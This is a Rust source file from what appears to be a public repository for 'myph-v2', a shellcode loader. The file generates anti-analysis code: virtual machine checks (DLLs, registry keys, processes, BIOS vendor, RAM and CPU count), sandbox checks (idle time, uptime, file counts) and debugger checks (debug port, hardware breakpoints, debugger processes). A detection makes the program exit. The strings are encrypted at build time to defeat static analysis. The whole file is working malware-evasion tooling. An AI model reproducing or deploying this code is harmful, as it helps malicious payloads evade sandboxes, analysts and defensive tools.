myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
evasion.rs (27593B)
1 // Evasion module - Anti-analysis detection functions 2 // 3 // String encryption is now supported for evasion checks when --with-string-encryption is enabled. 4 // Static strings (registry paths, DLL names, process names, etc.) are encrypted at build time 5 // and decrypted at runtime to prevent static analysis. 6 // 7 // UPDATE 2026-01-01: Extern declarations have been centralized and string encryption implemented. 8 9 /// Generate centralized extern declarations for evasion checks 10 pub fn generate_evasion_externs() -> String { 11 r#" 12 #[repr(C)] 13 struct MemoryStatusEx { 14 length: u32, 15 memory_load: u32, 16 total_phys: u64, 17 avail_phys: u64, 18 total_page_file: u64, 19 avail_page_file: u64, 20 total_virtual: u64, 21 avail_virtual: u64, 22 avail_extended_virtual: u64, 23 } 24 25 #[repr(C)] 26 struct LastInputInfo { 27 size: u32, 28 time: u32, 29 } 30 31 #[repr(C)] 32 struct Context { 33 context_flags: u32, 34 dr0: usize, 35 dr1: usize, 36 dr2: usize, 37 dr3: usize, 38 dr6: usize, 39 dr7: usize, 40 _padding: [u8; 512], 41 } 42 43 #[link(name = "kernel32")] 44 extern "system" { 45 fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void; 46 fn IsDebuggerPresent() -> i32; 47 fn CheckRemoteDebuggerPresent( 48 process: *mut std::ffi::c_void, 49 present: *mut i32, 50 ) -> i32; 51 fn GetCurrentProcess() -> *mut std::ffi::c_void; 52 fn GetCurrentThread() -> *mut std::ffi::c_void; 53 fn GetThreadContext( 54 thread: *mut std::ffi::c_void, 55 context: *mut Context, 56 ) -> i32; 57 fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32; 58 fn GetTickCount() -> u32; 59 fn GetTickCount64() -> u64; 60 } 61 62 #[link(name = "user32")] 63 extern "system" { 64 fn GetLastInputInfo(info: *mut LastInputInfo) -> i32; 65 } 66 67 #[link(name = "ntdll")] 68 extern "system" { 69 fn NtQueryInformationProcess( 70 process_handle: *mut std::ffi::c_void, 71 process_information_class: u32, 72 process_information: *mut std::ffi::c_void, 73 process_information_length: u32, 74 return_length: *mut u32, 75 ) -> i32; 76 } 77 "# 78 .to_string() 79 } 80 81 pub fn anti_vm_checks() -> String { 82 r#" 83 fn check_vm_artifacts() -> bool { 84 unsafe { 85 let vm_dlls = [ 86 b"vmGuestLib.dll\0".as_ptr() as *const i8, 87 b"vboxmrxnp.dll\0".as_ptr() as *const i8, 88 b"VBoxHook.dll\0".as_ptr() as *const i8, 89 b"vmmouse.sys\0".as_ptr() as *const i8, 90 b"vmhgfs.dll\0".as_ptr() as *const i8, 91 ]; 92 93 for dll in vm_dlls.iter() { 94 if !GetModuleHandleA(*dll).is_null() { 95 return true; 96 } 97 } 98 } 99 false 100 } 101 102 fn check_vm_registry() -> bool { 103 use std::process::Command; 104 105 let vm_keys = [ 106 r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest", 107 r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse", 108 r"HKLM\SYSTEM\ControlSet001\Services\VBoxService", 109 r"HKLM\SYSTEM\ControlSet001\Services\vmtools", 110 r"HKLM\SYSTEM\ControlSet001\Services\vmmouse", 111 r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0", 112 ]; 113 114 for key in vm_keys.iter() { 115 if let Ok(output) = Command::new("reg").args(&["query", key]).output() { 116 if output.status.success() { 117 return true; 118 } 119 } 120 } 121 false 122 } 123 124 fn check_vm_processes() -> bool { 125 use std::process::Command; 126 127 let vm_processes = [ 128 "vmtoolsd.exe", 129 "vmwaretray.exe", 130 "vmwareuser.exe", 131 "VGAuthService.exe", 132 "vmacthlp.exe", 133 "vboxservice.exe", 134 "vboxtray.exe", 135 "xenservice.exe", 136 "qemu-ga.exe", 137 ]; 138 139 if let Ok(output) = Command::new("tasklist").output() { 140 let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase(); 141 for process in vm_processes.iter() { 142 if output_str.contains(&process.to_lowercase()) { 143 return true; 144 } 145 } 146 } 147 false 148 } 149 150 fn check_vm_cpu_count() -> bool { 151 use std::env; 152 153 if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") { 154 if let Ok(count) = num_cpus.parse::<u32>() { 155 if count < 2 { 156 return true; 157 } 158 } 159 } 160 false 161 } 162 163 fn check_vm_memory() -> bool { 164 unsafe { 165 let mut meminfo = MemoryStatusEx { 166 length: std::mem::size_of::<MemoryStatusEx>() as u32, 167 memory_load: 0, 168 total_phys: 0, 169 avail_phys: 0, 170 total_page_file: 0, 171 avail_page_file: 0, 172 total_virtual: 0, 173 avail_virtual: 0, 174 avail_extended_virtual: 0, 175 }; 176 177 if GlobalMemoryStatusEx(&mut meminfo) != 0 { 178 let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024); 179 if total_ram_gb < 2 { 180 return true; 181 } 182 } 183 } 184 false 185 } 186 187 fn check_vm_firmware() -> bool { 188 use std::process::Command; 189 190 if let Ok(output) = Command::new("wmic") 191 .args(&["bios", "get", "manufacturer"]) 192 .output() 193 { 194 let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase(); 195 let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"]; 196 for vendor in vm_vendors.iter() { 197 if output_str.contains(vendor) { 198 return true; 199 } 200 } 201 } 202 false 203 } 204 205 fn detect_vm() -> bool { 206 check_vm_artifacts() 207 || check_vm_registry() 208 || check_vm_processes() 209 || check_vm_cpu_count() 210 || check_vm_memory() 211 || check_vm_firmware() 212 } 213 "# 214 .to_string() 215 } 216 217 pub fn anti_sandbox_checks() -> String { 218 r#" 219 fn check_sandbox_user_interaction() -> bool { 220 use std::time::{Duration, Instant}; 221 222 unsafe { 223 let mut info = LastInputInfo { 224 size: std::mem::size_of::<LastInputInfo>() as u32, 225 time: 0, 226 }; 227 228 if GetLastInputInfo(&mut info) != 0 { 229 let current_time = GetTickCount(); 230 let idle_time = current_time - info.time; 231 if idle_time < 60000 { 232 return false; 233 } 234 } 235 } 236 true 237 } 238 239 fn check_sandbox_timing() -> bool { 240 use std::time::Instant; 241 242 let iterations = 10; 243 let mut timings = Vec::new(); 244 245 for _ in 0..iterations { 246 let start = Instant::now(); 247 let mut sum = 0u64; 248 for i in 0..100000 { 249 sum = sum.wrapping_add(i); 250 } 251 let elapsed = start.elapsed().as_nanos(); 252 timings.push(elapsed); 253 } 254 255 if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) { 256 if avg < 1000 { 257 return true; 258 } 259 } 260 false 261 } 262 263 fn check_sandbox_file_count() -> bool { 264 use std::fs; 265 266 if let Ok(entries) = fs::read_dir("C:\\Windows\\System32") { 267 let count = entries.count(); 268 if count < 100 { 269 return true; 270 } 271 } 272 false 273 } 274 275 fn check_sandbox_uptime() -> bool { 276 unsafe { 277 let uptime_ms = GetTickCount64(); 278 let uptime_minutes = uptime_ms / (1000 * 60); 279 if uptime_minutes < 10 { 280 return true; 281 } 282 } 283 false 284 } 285 286 fn check_sandbox_recent_files() -> bool { 287 use std::fs; 288 use std::path::PathBuf; 289 290 if let Ok(appdata) = std::env::var("APPDATA") { 291 let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent"); 292 if let Ok(entries) = fs::read_dir(recent_path) { 293 let count = entries.count(); 294 if count < 5 { 295 return true; 296 } 297 } 298 } 299 false 300 } 301 302 fn detect_sandbox() -> bool { 303 check_sandbox_user_interaction() 304 || check_sandbox_timing() 305 || check_sandbox_file_count() 306 || check_sandbox_uptime() 307 || check_sandbox_recent_files() 308 } 309 "# 310 .to_string() 311 } 312 313 pub fn anti_debugger_checks() -> String { 314 r#" 315 fn check_debugger_present() -> bool { 316 unsafe { 317 IsDebuggerPresent() != 0 318 } 319 } 320 321 fn check_remote_debugger() -> bool { 322 unsafe { 323 let mut is_present: i32 = 0; 324 let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present); 325 result != 0 && is_present != 0 326 } 327 } 328 329 fn check_debug_port() -> bool { 330 unsafe { 331 let mut debug_port: usize = 0; 332 let status = NtQueryInformationProcess( 333 GetCurrentProcess(), 334 7, 335 &mut debug_port as *mut usize as *mut std::ffi::c_void, 336 std::mem::size_of::<usize>() as u32, 337 std::ptr::null_mut(), 338 ); 339 340 status == 0 && debug_port != 0 341 } 342 } 343 344 fn check_hardware_breakpoints() -> bool { 345 unsafe { 346 let mut context = Context { 347 context_flags: 0x00010000 | 0x00000010, 348 dr0: 0, 349 dr1: 0, 350 dr2: 0, 351 dr3: 0, 352 dr6: 0, 353 dr7: 0, 354 _padding: [0; 512], 355 }; 356 357 if GetThreadContext(GetCurrentThread(), &mut context) != 0 { 358 if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 { 359 return true; 360 } 361 } 362 } 363 false 364 } 365 366 fn check_parent_process() -> bool { 367 use std::process::Command; 368 369 if let Ok(output) = Command::new("tasklist") 370 .args(&["/v", "/fo", "csv"]) 371 .output() 372 { 373 let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase(); 374 let debugger_parents = ["devenv.exe", "windbg.exe", "x64dbg.exe", "ollydbg.exe", "ida64.exe"]; 375 for parent in debugger_parents.iter() { 376 if output_str.contains(parent) { 377 return true; 378 } 379 } 380 } 381 false 382 } 383 384 fn detect_debugger() -> bool { 385 check_debugger_present() 386 || check_remote_debugger() 387 || check_debug_port() 388 || check_hardware_breakpoints() 389 || check_parent_process() 390 } 391 "# 392 .to_string() 393 } 394 395 pub fn generate_evasion_check_call( 396 anti_vm: bool, 397 anti_sandbox: bool, 398 anti_debugger: bool, 399 ) -> String { 400 let mut checks = Vec::new(); 401 402 if anti_vm { 403 checks.push("detect_vm()"); 404 } 405 if anti_sandbox { 406 checks.push("detect_sandbox()"); 407 } 408 if anti_debugger { 409 checks.push("detect_debugger()"); 410 } 411 412 if checks.is_empty() { 413 return String::new(); 414 } 415 416 format!( 417 r#" 418 if {} {{ 419 std::process::exit(1); 420 }} 421 "#, 422 checks.join(" || ") 423 ) 424 } 425 426 /// Generate anti-VM checks with encrypted strings 427 pub fn anti_vm_checks_with_encryption( 428 vm_dll_arrays: &[String], 429 vm_registry_arrays: &[String], 430 vm_process_arrays: &[String], 431 vm_vendor_arrays: &[String], 432 decrypt_fn: &str, 433 expect_clause: &str, 434 ) -> String { 435 format!( 436 r#" 437 fn check_vm_artifacts() -> bool {{ 438 unsafe {{ 439 const ENCRYPTED_VM_DLL_0: &[u8] = &{}; 440 const ENCRYPTED_VM_DLL_1: &[u8] = &{}; 441 const ENCRYPTED_VM_DLL_2: &[u8] = &{}; 442 const ENCRYPTED_VM_DLL_3: &[u8] = &{}; 443 const ENCRYPTED_VM_DLL_4: &[u8] = &{}; 444 445 let dll_0 = {}(ENCRYPTED_VM_DLL_0, &DECRYPTION_KEY){}; 446 let dll_1 = {}(ENCRYPTED_VM_DLL_1, &DECRYPTION_KEY){}; 447 let dll_2 = {}(ENCRYPTED_VM_DLL_2, &DECRYPTION_KEY){}; 448 let dll_3 = {}(ENCRYPTED_VM_DLL_3, &DECRYPTION_KEY){}; 449 let dll_4 = {}(ENCRYPTED_VM_DLL_4, &DECRYPTION_KEY){}; 450 451 let vm_dlls = [ 452 dll_0.as_ptr() as *const i8, 453 dll_1.as_ptr() as *const i8, 454 dll_2.as_ptr() as *const i8, 455 dll_3.as_ptr() as *const i8, 456 dll_4.as_ptr() as *const i8, 457 ]; 458 459 for dll in vm_dlls.iter() {{ 460 if !GetModuleHandleA(*dll).is_null() {{ 461 return true; 462 }} 463 }} 464 }} 465 false 466 }} 467 468 fn check_vm_registry() -> bool {{ 469 use std::process::Command; 470 471 const ENCRYPTED_VM_KEY_0: &[u8] = &{}; 472 const ENCRYPTED_VM_KEY_1: &[u8] = &{}; 473 const ENCRYPTED_VM_KEY_2: &[u8] = &{}; 474 const ENCRYPTED_VM_KEY_3: &[u8] = &{}; 475 const ENCRYPTED_VM_KEY_4: &[u8] = &{}; 476 const ENCRYPTED_VM_KEY_5: &[u8] = &{}; 477 478 let key_0 = {}(ENCRYPTED_VM_KEY_0, &DECRYPTION_KEY){}; 479 let key_1 = {}(ENCRYPTED_VM_KEY_1, &DECRYPTION_KEY){}; 480 let key_2 = {}(ENCRYPTED_VM_KEY_2, &DECRYPTION_KEY){}; 481 let key_3 = {}(ENCRYPTED_VM_KEY_3, &DECRYPTION_KEY){}; 482 let key_4 = {}(ENCRYPTED_VM_KEY_4, &DECRYPTION_KEY){}; 483 let key_5 = {}(ENCRYPTED_VM_KEY_5, &DECRYPTION_KEY){}; 484 485 let vm_keys = [ 486 String::from_utf8_lossy(&key_0).to_string(), 487 String::from_utf8_lossy(&key_1).to_string(), 488 String::from_utf8_lossy(&key_2).to_string(), 489 String::from_utf8_lossy(&key_3).to_string(), 490 String::from_utf8_lossy(&key_4).to_string(), 491 String::from_utf8_lossy(&key_5).to_string(), 492 ]; 493 494 for key in vm_keys.iter() {{ 495 if let Ok(output) = Command::new("reg").args(&["query", key]).output() {{ 496 if output.status.success() {{ 497 return true; 498 }} 499 }} 500 }} 501 false 502 }} 503 504 fn check_vm_processes() -> bool {{ 505 use std::process::Command; 506 507 const ENCRYPTED_VM_PROC_0: &[u8] = &{}; 508 const ENCRYPTED_VM_PROC_1: &[u8] = &{}; 509 const ENCRYPTED_VM_PROC_2: &[u8] = &{}; 510 const ENCRYPTED_VM_PROC_3: &[u8] = &{}; 511 const ENCRYPTED_VM_PROC_4: &[u8] = &{}; 512 const ENCRYPTED_VM_PROC_5: &[u8] = &{}; 513 const ENCRYPTED_VM_PROC_6: &[u8] = &{}; 514 const ENCRYPTED_VM_PROC_7: &[u8] = &{}; 515 const ENCRYPTED_VM_PROC_8: &[u8] = &{}; 516 517 let proc_0 = {}(ENCRYPTED_VM_PROC_0, &DECRYPTION_KEY){}; 518 let proc_1 = {}(ENCRYPTED_VM_PROC_1, &DECRYPTION_KEY){}; 519 let proc_2 = {}(ENCRYPTED_VM_PROC_2, &DECRYPTION_KEY){}; 520 let proc_3 = {}(ENCRYPTED_VM_PROC_3, &DECRYPTION_KEY){}; 521 let proc_4 = {}(ENCRYPTED_VM_PROC_4, &DECRYPTION_KEY){}; 522 let proc_5 = {}(ENCRYPTED_VM_PROC_5, &DECRYPTION_KEY){}; 523 let proc_6 = {}(ENCRYPTED_VM_PROC_6, &DECRYPTION_KEY){}; 524 let proc_7 = {}(ENCRYPTED_VM_PROC_7, &DECRYPTION_KEY){}; 525 let proc_8 = {}(ENCRYPTED_VM_PROC_8, &DECRYPTION_KEY){}; 526 527 if let Ok(output) = Command::new("tasklist").output() {{ 528 let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase(); 529 let vm_processes = [ 530 String::from_utf8_lossy(&proc_0).to_string().to_lowercase(), 531 String::from_utf8_lossy(&proc_1).to_string().to_lowercase(), 532 String::from_utf8_lossy(&proc_2).to_string().to_lowercase(), 533 String::from_utf8_lossy(&proc_3).to_string().to_lowercase(), 534 String::from_utf8_lossy(&proc_4).to_string().to_lowercase(), 535 String::from_utf8_lossy(&proc_5).to_string().to_lowercase(), 536 String::from_utf8_lossy(&proc_6).to_string().to_lowercase(), 537 String::from_utf8_lossy(&proc_7).to_string().to_lowercase(), 538 String::from_utf8_lossy(&proc_8).to_string().to_lowercase(), 539 ]; 540 for process in vm_processes.iter() {{ 541 if output_str.contains(process) {{ 542 return true; 543 }} 544 }} 545 }} 546 false 547 }} 548 549 fn check_vm_cpu_count() -> bool {{ 550 use std::env; 551 552 if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {{ 553 if let Ok(count) = num_cpus.parse::<u32>() {{ 554 if count < 2 {{ 555 return true; 556 }} 557 }} 558 }} 559 false 560 }} 561 562 fn check_vm_memory() -> bool {{ 563 unsafe {{ 564 let mut meminfo = MemoryStatusEx {{ 565 length: std::mem::size_of::<MemoryStatusEx>() as u32, 566 memory_load: 0, 567 total_phys: 0, 568 avail_phys: 0, 569 total_page_file: 0, 570 avail_page_file: 0, 571 total_virtual: 0, 572 avail_virtual: 0, 573 avail_extended_virtual: 0, 574 }}; 575 576 if GlobalMemoryStatusEx(&mut meminfo) != 0 {{ 577 let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024); 578 if total_ram_gb < 2 {{ 579 return true; 580 }} 581 }} 582 }} 583 false 584 }} 585 586 fn check_vm_firmware() -> bool {{ 587 use std::process::Command; 588 589 const ENCRYPTED_VM_VENDOR_0: &[u8] = &{}; 590 const ENCRYPTED_VM_VENDOR_1: &[u8] = &{}; 591 const ENCRYPTED_VM_VENDOR_2: &[u8] = &{}; 592 const ENCRYPTED_VM_VENDOR_3: &[u8] = &{}; 593 const ENCRYPTED_VM_VENDOR_4: &[u8] = &{}; 594 595 let vendor_0 = {}(ENCRYPTED_VM_VENDOR_0, &DECRYPTION_KEY){}; 596 let vendor_1 = {}(ENCRYPTED_VM_VENDOR_1, &DECRYPTION_KEY){}; 597 let vendor_2 = {}(ENCRYPTED_VM_VENDOR_2, &DECRYPTION_KEY){}; 598 let vendor_3 = {}(ENCRYPTED_VM_VENDOR_3, &DECRYPTION_KEY){}; 599 let vendor_4 = {}(ENCRYPTED_VM_VENDOR_4, &DECRYPTION_KEY){}; 600 601 if let Ok(output) = Command::new("wmic") 602 .args(&["bios", "get", "manufacturer"]) 603 .output() 604 {{ 605 let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase(); 606 let vm_vendors = [ 607 String::from_utf8_lossy(&vendor_0).to_string().to_lowercase(), 608 String::from_utf8_lossy(&vendor_1).to_string().to_lowercase(), 609 String::from_utf8_lossy(&vendor_2).to_string().to_lowercase(), 610 String::from_utf8_lossy(&vendor_3).to_string().to_lowercase(), 611 String::from_utf8_lossy(&vendor_4).to_string().to_lowercase(), 612 ]; 613 for vendor in vm_vendors.iter() {{ 614 if output_str.contains(vendor) {{ 615 return true; 616 }} 617 }} 618 }} 619 false 620 }} 621 622 fn detect_vm() -> bool {{ 623 check_vm_artifacts() 624 || check_vm_registry() 625 || check_vm_processes() 626 || check_vm_cpu_count() 627 || check_vm_memory() 628 || check_vm_firmware() 629 }} 630 "#, 631 vm_dll_arrays[0], 632 vm_dll_arrays[1], 633 vm_dll_arrays[2], 634 vm_dll_arrays[3], 635 vm_dll_arrays[4], 636 decrypt_fn, 637 expect_clause, 638 decrypt_fn, 639 expect_clause, 640 decrypt_fn, 641 expect_clause, 642 decrypt_fn, 643 expect_clause, 644 decrypt_fn, 645 expect_clause, 646 vm_registry_arrays[0], 647 vm_registry_arrays[1], 648 vm_registry_arrays[2], 649 vm_registry_arrays[3], 650 vm_registry_arrays[4], 651 vm_registry_arrays[5], 652 decrypt_fn, 653 expect_clause, 654 decrypt_fn, 655 expect_clause, 656 decrypt_fn, 657 expect_clause, 658 decrypt_fn, 659 expect_clause, 660 decrypt_fn, 661 expect_clause, 662 decrypt_fn, 663 expect_clause, 664 vm_process_arrays[0], 665 vm_process_arrays[1], 666 vm_process_arrays[2], 667 vm_process_arrays[3], 668 vm_process_arrays[4], 669 vm_process_arrays[5], 670 vm_process_arrays[6], 671 vm_process_arrays[7], 672 vm_process_arrays[8], 673 decrypt_fn, 674 expect_clause, 675 decrypt_fn, 676 expect_clause, 677 decrypt_fn, 678 expect_clause, 679 decrypt_fn, 680 expect_clause, 681 decrypt_fn, 682 expect_clause, 683 decrypt_fn, 684 expect_clause, 685 decrypt_fn, 686 expect_clause, 687 decrypt_fn, 688 expect_clause, 689 decrypt_fn, 690 expect_clause, 691 vm_vendor_arrays[0], 692 vm_vendor_arrays[1], 693 vm_vendor_arrays[2], 694 vm_vendor_arrays[3], 695 vm_vendor_arrays[4], 696 decrypt_fn, 697 expect_clause, 698 decrypt_fn, 699 expect_clause, 700 decrypt_fn, 701 expect_clause, 702 decrypt_fn, 703 expect_clause, 704 decrypt_fn, 705 expect_clause, 706 ) 707 } 708 709 /// Generate anti-sandbox checks with encrypted strings 710 pub fn anti_sandbox_checks_with_encryption( 711 file_path_array: &str, 712 decrypt_fn: &str, 713 expect_clause: &str, 714 ) -> String { 715 format!( 716 r#" 717 fn check_sandbox_user_interaction() -> bool {{ 718 use std::time::{{Duration, Instant}}; 719 720 unsafe {{ 721 let mut info = LastInputInfo {{ 722 size: std::mem::size_of::<LastInputInfo>() as u32, 723 time: 0, 724 }}; 725 726 if GetLastInputInfo(&mut info) != 0 {{ 727 let current_time = GetTickCount(); 728 let idle_time = current_time - info.time; 729 if idle_time < 60000 {{ 730 return false; 731 }} 732 }} 733 }} 734 true 735 }} 736 737 fn check_sandbox_timing() -> bool {{ 738 use std::time::Instant; 739 740 let iterations = 10; 741 let mut timings = Vec::new(); 742 743 for _ in 0..iterations {{ 744 let start = Instant::now(); 745 let mut sum = 0u64; 746 for i in 0..100000 {{ 747 sum = sum.wrapping_add(i); 748 }} 749 let elapsed = start.elapsed().as_nanos(); 750 timings.push(elapsed); 751 }} 752 753 if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {{ 754 if avg < 1000 {{ 755 return true; 756 }} 757 }} 758 false 759 }} 760 761 fn check_sandbox_file_count() -> bool {{ 762 use std::fs; 763 764 const ENCRYPTED_FILE_PATH: &[u8] = &{}; 765 let file_path = {}(ENCRYPTED_FILE_PATH, &DECRYPTION_KEY){}; 766 let file_path_str = String::from_utf8_lossy(&file_path).to_string(); 767 768 if let Ok(entries) = fs::read_dir(&file_path_str) {{ 769 let count = entries.count(); 770 if count < 100 {{ 771 return true; 772 }} 773 }} 774 false 775 }} 776 777 fn check_sandbox_uptime() -> bool {{ 778 unsafe {{ 779 let uptime_ms = GetTickCount64(); 780 let uptime_minutes = uptime_ms / (1000 * 60); 781 if uptime_minutes < 10 {{ 782 return true; 783 }} 784 }} 785 false 786 }} 787 788 fn check_sandbox_recent_files() -> bool {{ 789 use std::fs; 790 use std::path::PathBuf; 791 792 if let Ok(appdata) = std::env::var("APPDATA") {{ 793 let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent"); 794 if let Ok(entries) = fs::read_dir(recent_path) {{ 795 let count = entries.count(); 796 if count < 5 {{ 797 return true; 798 }} 799 }} 800 }} 801 false 802 }} 803 804 fn detect_sandbox() -> bool {{ 805 check_sandbox_user_interaction() 806 || check_sandbox_timing() 807 || check_sandbox_file_count() 808 || check_sandbox_uptime() 809 || check_sandbox_recent_files() 810 }} 811 "#, 812 file_path_array, decrypt_fn, expect_clause, 813 ) 814 } 815 816 /// Generate anti-debugger checks with encrypted strings 817 pub fn anti_debugger_checks_with_encryption( 818 debugger_parent_arrays: &[String], 819 decrypt_fn: &str, 820 expect_clause: &str, 821 ) -> String { 822 format!( 823 r#" 824 fn check_debugger_present() -> bool {{ 825 unsafe {{ 826 IsDebuggerPresent() != 0 827 }} 828 }} 829 830 fn check_remote_debugger() -> bool {{ 831 unsafe {{ 832 let mut is_present: i32 = 0; 833 let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present); 834 result != 0 && is_present != 0 835 }} 836 }} 837 838 fn check_debug_port() -> bool {{ 839 unsafe {{ 840 let mut debug_port: usize = 0; 841 let status = NtQueryInformationProcess( 842 GetCurrentProcess(), 843 7, 844 &mut debug_port as *mut usize as *mut std::ffi::c_void, 845 std::mem::size_of::<usize>() as u32, 846 std::ptr::null_mut(), 847 ); 848 849 status == 0 && debug_port != 0 850 }} 851 }} 852 853 fn check_hardware_breakpoints() -> bool {{ 854 unsafe {{ 855 let mut context = Context {{ 856 context_flags: 0x00010000 | 0x00000010, 857 dr0: 0, 858 dr1: 0, 859 dr2: 0, 860 dr3: 0, 861 dr6: 0, 862 dr7: 0, 863 _padding: [0; 512], 864 }}; 865 866 if GetThreadContext(GetCurrentThread(), &mut context) != 0 {{ 867 if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {{ 868 return true; 869 }} 870 }} 871 }} 872 false 873 }} 874 875 fn check_parent_process() -> bool {{ 876 use std::process::Command; 877 878 const ENCRYPTED_DBG_PARENT_0: &[u8] = &{}; 879 const ENCRYPTED_DBG_PARENT_1: &[u8] = &{}; 880 const ENCRYPTED_DBG_PARENT_2: &[u8] = &{}; 881 const ENCRYPTED_DBG_PARENT_3: &[u8] = &{}; 882 const ENCRYPTED_DBG_PARENT_4: &[u8] = &{}; 883 884 let parent_0 = {}(ENCRYPTED_DBG_PARENT_0, &DECRYPTION_KEY){}; 885 let parent_1 = {}(ENCRYPTED_DBG_PARENT_1, &DECRYPTION_KEY){}; 886 let parent_2 = {}(ENCRYPTED_DBG_PARENT_2, &DECRYPTION_KEY){}; 887 let parent_3 = {}(ENCRYPTED_DBG_PARENT_3, &DECRYPTION_KEY){}; 888 let parent_4 = {}(ENCRYPTED_DBG_PARENT_4, &DECRYPTION_KEY){}; 889 890 if let Ok(output) = Command::new("tasklist") 891 .args(&["/v", "/fo", "csv"]) 892 .output() 893 {{ 894 let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase(); 895 let debugger_parents = [ 896 String::from_utf8_lossy(&parent_0).to_string().to_lowercase(), 897 String::from_utf8_lossy(&parent_1).to_string().to_lowercase(), 898 String::from_utf8_lossy(&parent_2).to_string().to_lowercase(), 899 String::from_utf8_lossy(&parent_3).to_string().to_lowercase(), 900 String::from_utf8_lossy(&parent_4).to_string().to_lowercase(), 901 ]; 902 for parent in debugger_parents.iter() {{ 903 if output_str.contains(parent) {{ 904 return true; 905 }} 906 }} 907 }} 908 false 909 }} 910 911 fn detect_debugger() -> bool {{ 912 check_debugger_present() 913 || check_remote_debugger() 914 || check_debug_port() 915 || check_hardware_breakpoints() 916 || check_parent_process() 917 }} 918 "#, 919 debugger_parent_arrays[0], 920 debugger_parent_arrays[1], 921 debugger_parent_arrays[2], 922 debugger_parent_arrays[3], 923 debugger_parent_arrays[4], 924 decrypt_fn, 925 expect_clause, 926 decrypt_fn, 927 expect_clause, 928 decrypt_fn, 929 expect_clause, 930 decrypt_fn, 931 expect_clause, 932 decrypt_fn, 933 expect_clause, 934 ) 935 } 936 937 #[cfg(test)] 938 mod tests { 939 use super::*; 940 941 #[test] 942 fn test_anti_vm_checks_contains_vm_detection() { 943 let code = anti_vm_checks(); 944 assert!(code.contains("detect_vm")); 945 assert!(code.contains("check_vm_artifacts")); 946 assert!(code.contains("check_vm_registry")); 947 assert!(code.contains("check_vm_processes")); 948 } 949 950 #[test] 951 fn test_anti_sandbox_checks_contains_sandbox_detection() { 952 let code = anti_sandbox_checks(); 953 assert!(code.contains("detect_sandbox")); 954 assert!(code.contains("check_sandbox_timing")); 955 assert!(code.contains("check_sandbox_uptime")); 956 } 957 958 #[test] 959 fn test_anti_debugger_checks_contains_debugger_detection() { 960 let code = anti_debugger_checks(); 961 assert!(code.contains("detect_debugger")); 962 assert!(code.contains("IsDebuggerPresent")); 963 assert!(code.contains("check_hardware_breakpoints")); 964 } 965 966 #[test] 967 fn test_generate_evasion_check_call_single_flag() { 968 let call = generate_evasion_check_call(true, false, false); 969 assert!(call.contains("detect_vm()")); 970 assert!(!call.contains("detect_sandbox()")); 971 assert!(!call.contains("detect_debugger()")); 972 } 973 974 #[test] 975 fn test_generate_evasion_check_call_multiple_flags() { 976 let call = generate_evasion_check_call(true, true, false); 977 assert!(call.contains("detect_vm()")); 978 assert!(call.contains("detect_sandbox()")); 979 assert!(!call.contains("detect_debugger()")); 980 assert!(call.contains("||")); 981 } 982 983 #[test] 984 fn test_generate_evasion_check_call_all_flags() { 985 let call = generate_evasion_check_call(true, true, true); 986 assert!(call.contains("detect_vm()")); 987 assert!(call.contains("detect_sandbox()")); 988 assert!(call.contains("detect_debugger()")); 989 } 990 991 #[test] 992 fn test_generate_evasion_check_call_no_flags() { 993 let call = generate_evasion_check_call(false, false, false); 994 assert!(call.is_empty()); 995 } 996 }